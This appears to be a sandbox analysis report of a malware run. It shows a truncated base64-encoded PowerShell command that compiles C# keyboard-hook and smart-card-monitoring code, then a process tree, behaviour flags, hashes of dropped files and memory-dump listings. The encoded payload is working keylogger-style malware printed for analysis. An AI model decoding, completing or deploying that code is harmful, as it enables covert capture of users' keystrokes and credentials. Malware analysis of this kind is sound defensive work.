HQAcgBpAG4AZwAgAGgAOAAwACAAaQBuACAAawA3ADYAKQB7AGYANwA5AFsAZgA3ADgAXQAuAGEAMgA5ACAAPQAgAGgAOAAwADsAZgA3ADgAKwArADsAfQBpAGYAIAAoAFMAQwBhAHIAZABHAGUAdABTAHQAYQB0AHUAcwBDAGgAYQBuAGcAZQAoAGEAMgA3ACwAIAA1ADAAMAAsACAAZgA3ADkALAAgAGYANwA5AC4ATABlAG4AZwB0AGgAKQAgAD0APQAgADAAKQB7AGYAbwByACAAKABpAG4AdAAgAGIAOAAxACAAPQAgADAAOwAgAGIAOAAxACAAPAAgAGoANwA3ADsAIABiADgAMQArACsAKQB7AHAANwAzACAAPQAgAGYANwA5AFsAYgA4ADEAXQA7AGwANwAyACAAKwA9ACAAcAA3ADMALgBhADIAOQA7AGkAZgAgACgAKABwADcAMwAuAGMAMwAyACAAJgAgADAAeAAwADAAMAAwADAAMAAyADAAKQAgACEAPQAgADAAKQAgAGwANwAyACAAKwA9ACAAIgAgAC0AIABmAG8AdQBuAGQAIgA7AGwANwAyACAAKwA9ACAAIgBcAHIAXABuACIAOwB9AH0AfQB9AH0AUgBlAGcAaQBzAHQAcgB5AC4AUwBlAHQAVgBhAGwAdQBlACgAcAAyADAALAAgAGgAMgAyACwAIABsADcAMgApADsAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAFQAaAByAGUAYQBkAC4AUwBsAGUAZQBwACgAMQAwADAAMAApADsAfQByAGUAdAB1AHIAbgAgADAAOwB9AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFMAZQB0AFcAaQBuAGQAbwB3AHMASABvAG8AawBFAHgAKABpAG4AdAAgAG4AOAAyACwAIABsADMAIABjADgAMwAsACAASQBuAHQAUAB0AHIAIABvADgANAAsACAAdQBpAG4AdAAgAGYAOAA1ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFUAbgBoAG8AbwBrAFcAaQBuAGQAbwB3AHMASABvAG8AawBFAHgAKABJAG4AdABQAHQAcgAgAGQAOAA2ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAGEAbABsAE4AZQB4AHQASABvAG8AawBFAHgAKABJAG4AdABQAHQAcgAgAGQAOAA2ACwAIABpAG4AdAAgAGEANAA4ACwAIABJAG4AdABQAHQAcgAgAGIANAA5ACwAIABJAG4AdABQAHQAcgAgAGcANQAwACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARwBlAHQATQBvAGQAdQBsAGUASABhAG4AZABsAGUAKABzAHQAcgBpAG4AZwAgAGcAOAA3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAE0AYQBwAFYAaQByAHQAdQBhAGwASwBlAHkAKABpAG4AdAAgAG0AOAA4ACwAIAB1AGkAbgB0ACAAbwA4ADkAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIAB1AGkAbgB0ACAARwBlAHQASwBlAHkAYgBvAGEAcgBkAEwAYQB5AG8AdQB0ACgAdQBpAG4AdAAgAGcAOQAwACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIALAAgAEMAaABhAHIAUwBlAHQAPQBDAGgAYQByAFMAZQB0AC4AQQB1AHQAbwApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFQAbwBVAG4AaQBjAG8AZABlAEUAeAAoAGkAbgB0ACAAbgA5ADEALAAgAHUAaQBuAHQAIABqADkAMgAsACAAYgB5AHQAZQBbAF0AIABoADkAMwAsACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAG8AOQA0ACwAIABpAG4AdAAgAG0AOQA1ACwAIAB1AGkAbgB0ACAAagA5ADYALAAgAHUAaQBuAHQAIABwADkANwApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABHAGUAdABLAGUAeQBiAG8AYQByAGQAUwB0AGEAdABlACgAYgB5AHQAZQBbAF0AIABhADkAOAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABHAGUAdABGAG8AcgBlAGcAcgBvAHUAbgBkAFcAaQBuAGQAbwB3ACgAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIAB1AGkAbgB0ACAARwBlAHQAVwBpAG4AZABvAHcAVABoAHIAZQBhAGQAUAByAG8AYwBlAHMAcwBJAGQAKAB1AGkAbgB0ACAAbwA5ADkALAAgAHIAZQBmACAAdQBpAG4AdAAgAGwAMQAwADAAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAEcAZQB0AFcAaQBuAGQAbwB3AFQAZQB4AHQATABlAG4AZwB0AGgAKAB1AGkAbgB0ACAAbQAxADAAMQApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABHAGUAdABXAGkAbgBkAG8AdwBUAGUAeAB0ACgAdQBpAG4AdAAgAG0AMQAwADEALAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIABhADEAMAAyACwAIABpAG4AdAAgAGcAMQAwADMAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABkADEAMAA0ACwAIAB1AGkAbgB0ACAAYwAxADAANQAsACAAZQA2ACAAZQAxADAANgAsACAASQBuAHQAUAB0AHIAIABrADEAMAA3ACwAIAB1AGkAbgB0ACAAZwAxADAAOAAsACAASQBuAHQAUAB0AHIAIABtADEAMAA5ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABFAHgAaQB0AFAAcgBvAGMAZQBzAHMAKAB1AGkAbgB0ACAAYwAxADEAMAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIAB1AGkAbgB0ACAAQwByAGUAYQB0AGUATQB1AHQAZQB4ACgASQBuAHQAUAB0AHIAIABwADEAMQAxACwAIABiAG8AbwBsACAAYwAxADEAMgAsACAAcwB0AHIAaQBuAGcAIABuADEAMQAzACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABPAHAAZQBuAE0AdQB0AGUAeAAoAHUAaQBuAHQAIABvADEAMQA0ACwAIABiAG8AbwBsACAAZAAxADEANQAsACAAcwB0AHIAaQBuAGcAIABuADEAMQAzACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB3AGkAbgBzAGMAYQByAGQALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAUwBDAGEAcgBkAEUAcwB0AGEAYgBsAGkAcwBoAEMAbwBuAHQAZQB4AHQAKABJAG4AdAAzADIAIABpADEAMQA2ACwAIABJAG4AdABQAHQAcgAgAGcAMQAxADcALAAgAEkAbgB0AFAAdAByACAAYgAxADEAOAAsACAAbwB1AHQAIABJAG4AdABQAHQAcgAgAGgAMQAxADkAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHcAaQBuAHMAYwBhAHIAZAAuAGQAbABsACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAIAA9ACAAIgBTAEMAYQByAGQATABpAHMAdABSAGUAYQBkAGUAcgBzAEEAIgAsACAAQwBoAGEAcgBTAGUAdAAgAD0AIABDAGgAYQByAFMAZQB0AC4AQQBuAHMAaQApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFMAQwBhAHIAZABMAGkAcwB0AFIAZQBhAGQAZQByAHMAKABJAG4AdABQAHQAcgAgAGgAMQAxADkALAAgAGIAeQB0AGUAWwBdACAAawAxADIAMAAsACAAYgB5AHQAZQBbAF0AIABlADEAMgAxACwAIABvAHUAdAAgAFUASQBuAHQAMwAyACAAZAAxADIAMgApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdwBpAG4AcwBjAGEAcgBkAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFMAQwBhAHIAZABHAGUAdABTAHQAYQB0AHUAcwBDAGgAYQBuAGcAZQAoAEkAbgB0AFAAdAByACAAaAAxADEAOQAsACAAVQBJAG4AdAAzADIAIABwADEAMgAzACwAIABbAEkAbgAsACAATwB1AHQAXQAgAGsAMgA4AFsAXQAgAGYANwA5ACwAIABJAG4AdAAzADIAIABwADEAMgA0ACkAOwB9AH0ADQAKACIAQAAgAC0AUgBlAGYAZQByAGUAbgBjAGUAZABBAHMAcwBlAG0AYgBsAGkAZQBzACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAWwBuADEALgBpADIAXQA6ADoAUgB1AG4AKAAgAHsAIAAkAG4AdQBsAGwAIAA9ACAAWwBjAG8AbgBzAG8AbABlAF0AOgA6AEMAYQBwAHMATABvAGMAawAgAH0AIAApAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4948
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vinqto0r\vinqto0r.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:388
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB3FE.tmp" "c:\Users\Admin\AppData\Local\Temp\vinqto0r\CSCB2E00CFEDBA64AEA9314A72130F8EEAC.TMP"
        3⤵
          PID:2164

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\94bad8470.js
            Filesize

            57KB

            MD5

            2f1a50bb5925d643f9b297eab21eb43e

            SHA1

            1319b851a9a28c93848f0984276d0bce89ea7db8

            SHA256

            9a0e651692297195f62762c58341007aa1efc0a881fb624a8245075f010f8a75

            SHA512

            060c956032a76fdf0e7e78df6ea79baa2b7f1fc72a9b684b65012ed7dbf7029c0bfc41e15ce4a5376719c02a56f84c0784fd1697828ff4f490130a98cb0fea58

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
            Filesize

            2KB

            MD5

            968cb9309758126772781b83adb8a28f

            SHA1

            8da30e71accf186b2ba11da1797cf67f8f78b47c

            SHA256

            92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

            SHA512

            4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\1345820116
            Filesize

            41KB

            MD5

            c4d2d117803c4f2a631087eb2ade30a6

            SHA1

            ff32d1b965a2f5956639b6540e5c2d15e7f289d9

            SHA256

            375e8265900a3c4acebd38bdcd959efa80ccc73a47003eef7b6fc019bfd118c8

            SHA512

            ae85c1b6f948cf298ae498b653ee3435a96b4dd1cde65f0edb426b8c0d596f14b6bc8c5b7598278e6779f1b38f2158ade30b9dbba7c9b0dad04fb83c616b1ab7

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\826923272
            Filesize

            57KB

            MD5

            2f1a50bb5925d643f9b297eab21eb43e

            SHA1

            1319b851a9a28c93848f0984276d0bce89ea7db8

            SHA256

            9a0e651692297195f62762c58341007aa1efc0a881fb624a8245075f010f8a75

            SHA512

            060c956032a76fdf0e7e78df6ea79baa2b7f1fc72a9b684b65012ed7dbf7029c0bfc41e15ce4a5376719c02a56f84c0784fd1697828ff4f490130a98cb0fea58

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\RESB3FE.tmp
            Filesize

            1KB

            MD5

            cda8ab1c96cad2f0f28af4ed46b80b73

            SHA1

            14f7ed7ee734d9ec4f3d4296cf905ea258f6900d

            SHA256

            3df4b31e875cffff470377d9a3f2e936f4bdc11d2d59f03b7ece816eec2111ac

            SHA512

            6ac1709a54feb377adec7110a99daa03f697b818658ce3fd3069599e9c207ad1384cd8ef67fca84c38c4405e048748028e21b38ca381cdbe44d1540994358753

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xyxrhfbv.zpb.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll
            Filesize

            13KB

            MD5

            0a235e8362613509efd31bfdbb22f978

            SHA1

            8bcb0297001dfd4963e8d17270ad0d2024a96912

            SHA256

            175c6cc0a98c16f18e333b5622415d3d962a5d1c05044d34823c8541d6abfcd5

            SHA512

            bb2cf2457ba063c971c9944f9a6fda4a89eab80265e270f6371a826bdfc753a62828c83f984897127f213837adb8f90956263dd51823e270c5081fafea630db4

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\vinqto0r\vinqto0r.dll
            Filesize

            9KB

            MD5

            8b92f1bd778fce4006098e7e9b10e637

            SHA1

            1e66ad0fd3ae4b44e7348ca17e48aa6c2dce840f

            SHA256

            91da0ae3265c867490103453b4ae84dbf1cf5227597c82f1211b7aae3b4dc863

            SHA512

            c050a53972783643b22116d2b4cdd349813f71b3f658eb3a8c9838adfc0950445ad7190d4f9c8d1f2a461ea4964059858636e2b5c0eb6954c61486e507891bf9

            Download Submit

          • C:\Users\Admin\AppData\Local\dynwrapx.dll
            Filesize

            13KB

            MD5

            ca820517f8fd74d21944d846df6b7c20

            SHA1

            1f87eeb37156d64de97d042b9bcfbaf185f8737d

            SHA256

            1b5eb6d4680f7d4da7e2a1a1060b9f13565e082346e375a92244bb55672d49d7

            SHA512

            27e83483f9dd50b2f897b5b93171b17c0e78719b6f05070c7ef4d69fb80f31cb1342b50685e43a7401fc13e56c83d5a52ed7ccfb69ac5bd3c33461fa10f3985a

            Download Submit

          • C:\Users\Admin\AppData\Local\dynwrapx.dll
            Filesize

            13KB

            MD5

            ca820517f8fd74d21944d846df6b7c20

            SHA1

            1f87eeb37156d64de97d042b9bcfbaf185f8737d

            SHA256

            1b5eb6d4680f7d4da7e2a1a1060b9f13565e082346e375a92244bb55672d49d7

            SHA512

            27e83483f9dd50b2f897b5b93171b17c0e78719b6f05070c7ef4d69fb80f31cb1342b50685e43a7401fc13e56c83d5a52ed7ccfb69ac5bd3c33461fa10f3985a

            Download Submit

          • \??\c:\Users\Admin\AppData\Local\Temp\vinqto0r\CSCB2E00CFEDBA64AEA9314A72130F8EEAC.TMP
            Filesize

            652B

            MD5

            31ec9dc646786b0a20fd0b66c8307bbf

            SHA1

            cddefef6b32e237aeadb6bb193d3689c19d8f285

            SHA256

            57e09f2a815dc5d8ea8ad405a6ab7d81714de928349599b5dda75d75cb977ba5

            SHA512

            19f879347d27632cdac3a47c1fe68ccb93bf23e41ea9e690941b7d3a6e89a6b4fd12d638f5b43911d845d3d1a4ca59dd6276f3ce6aa13c0ce9cb58bbd1a876ae

            Download Submit

          • \??\c:\Users\Admin\AppData\Local\Temp\vinqto0r\vinqto0r.0.cs
            Filesize

            7KB

            MD5

            1365c2074d25d6db278d95068484d7dd

            SHA1

            34e49eb7b7a869210f922a4d8e0c116e35b370f4

            SHA256

            6cb4ad9bdd887b63eebc40b09fa00976cae99b6adf8ff78f9704e7b5a3aa7816

            SHA512

            9a0a32317d0761c168ccba9022616fbd596f046e79e16121e4079d1b9508900a5664e8e6c4181663df2d82d30b2cb441d135164531abf9bea84fb7ff8f3d5b62

            Download Submit

          • \??\c:\Users\Admin\AppData\Local\Temp\vinqto0r\vinqto0r.cmdline
            Filesize

            494B

            MD5

            764ba6ea5b1165a6aa98d9e89f62c72b

            SHA1

            83042a36fc98ed85c797a4d956b141bca2161cc0

            SHA256

            480663aa43cd6a1a3c5b5c26ac5489ff94f28974783db8dd6a6d3bd96a55270d

            SHA512

            9551d969621be56592b2b987cde3984add1d9579bab6d7188de253a6cf8af86d713f933dc6d0f11ee35933a14b6ea37ab42600ba2074a795952ece109867de2d

            Download Submit

          • memory/1232-127-0x0000000002D90000-0x0000000002DA0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1232-95-0x000000006F780000-0x000000006F7CC000-memory.dmp

            Filesize

            304KB

            Download

          • memory/1232-147-0x0000000073000000-0x00000000737B0000-memory.dmp

            Filesize

            7.7MB

            Download

          • memory/1232-56-0x0000000002D90000-0x0000000002DA0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1232-139-0x00000000077D0000-0x00000000077DE000-memory.dmp

            Filesize

            56KB

            Download

          • memory/1232-55-0x0000000002D90000-0x0000000002DA0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1232-51-0x0000000073000000-0x00000000737B0000-memory.dmp

            Filesize

            7.7MB

            Download

          • memory/1232-128-0x00000000077A0000-0x00000000077B1000-memory.dmp

            Filesize

            68KB

            Download

          • memory/1232-124-0x0000000007830000-0x00000000078C6000-memory.dmp

            Filesize

            600KB

            Download

          • memory/1232-120-0x0000000007600000-0x000000000760A000-memory.dmp

            Filesize

            40KB

            Download

          • memory/1232-119-0x00000000075A0000-0x00000000075BA000-memory.dmp

            Filesize

            104KB

            Download

          • memory/1232-116-0x0000000073000000-0x00000000737B0000-memory.dmp

            Filesize

            7.7MB

            Download

          • memory/3168-30-0x0000000073000000-0x00000000737B0000-memory.dmp

            Filesize

            7.7MB

            Download

          • memory/3168-141-0x0000000007FB0000-0x0000000007FCA000-memory.dmp

            Filesize

            104KB

            Download

          • memory/3168-67-0x0000000006970000-0x000000000698E000-memory.dmp

            Filesize

            120KB

            Download

          • memory/3168-92-0x00000000056C0000-0x00000000056D0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3168-146-0x0000000073000000-0x00000000737B0000-memory.dmp

            Filesize

            7.7MB

            Download

          • memory/3168-94-0x000000006F780000-0x000000006F7CC000-memory.dmp

            Filesize

            304KB

            Download

          • memory/3168-105-0x0000000006EF0000-0x0000000006F0E000-memory.dmp

            Filesize

            120KB

            Download

          • memory/3168-93-0x0000000007B10000-0x0000000007B42000-memory.dmp

            Filesize

            200KB

            Download

          • memory/3168-115-0x0000000007B50000-0x0000000007BF3000-memory.dmp

            Filesize

            652KB

            Download

          • memory/3168-29-0x0000000003490000-0x00000000034C6000-memory.dmp

            Filesize

            216KB

            Download

          • memory/3168-142-0x0000000007EE0000-0x0000000007EE8000-memory.dmp

            Filesize

            32KB

            Download

          • memory/3168-78-0x00000000056C0000-0x00000000056D0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3168-118-0x00000000082A0000-0x000000000891A000-memory.dmp

            Filesize

            6.5MB

            Download

          • memory/3168-77-0x0000000073000000-0x00000000737B0000-memory.dmp

            Filesize

            7.7MB

            Download

          • memory/3168-76-0x00000000056C0000-0x00000000056D0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3168-37-0x0000000005C60000-0x0000000005CC6000-memory.dmp

            Filesize

            408KB

            Download

          • memory/3168-34-0x0000000005AC0000-0x0000000005AE2000-memory.dmp

            Filesize

            136KB

            Download

          • memory/3168-33-0x0000000005D00000-0x0000000006328000-memory.dmp

            Filesize

            6.2MB

            Download

          • memory/3168-38-0x0000000006330000-0x0000000006396000-memory.dmp

            Filesize

            408KB

            Download

          • memory/3168-32-0x00000000056C0000-0x00000000056D0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3168-31-0x00000000056C0000-0x00000000056D0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3168-140-0x0000000007EA0000-0x0000000007EB4000-memory.dmp

            Filesize

            80KB

            Download

          • memory/3168-57-0x00000000064A0000-0x00000000067F4000-memory.dmp

            Filesize

            3.3MB

            Download

          • memory/3168-72-0x0000000006B80000-0x0000000006BCC000-memory.dmp

            Filesize

            304KB

            Download

          • memory/4948-136-0x000002CDF9C00000-0x000002CDF9C08000-memory.dmp

            Filesize

            32KB

            Download

          • memory/4948-81-0x000002CDF9F70000-0x000002CDF9F80000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4948-117-0x000002CDF9F70000-0x000002CDF9F80000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4948-79-0x00007FF89E060000-0x00007FF89EB21000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/4948-80-0x000002CDF9F70000-0x000002CDF9F80000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4948-87-0x000002CDF9C70000-0x000002CDF9C92000-memory.dmp

            Filesize

            136KB

            Download

          • memory/4948-148-0x00007FF89E060000-0x00007FF89EB21000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/4948-149-0x000002CDF9F70000-0x000002CDF9F80000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4948-150-0x000002CDF9F70000-0x000002CDF9F80000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4948-151-0x000002CDF9F70000-0x000002CDF9F80000-memory.dmp

            Filesize

            64KB

            Download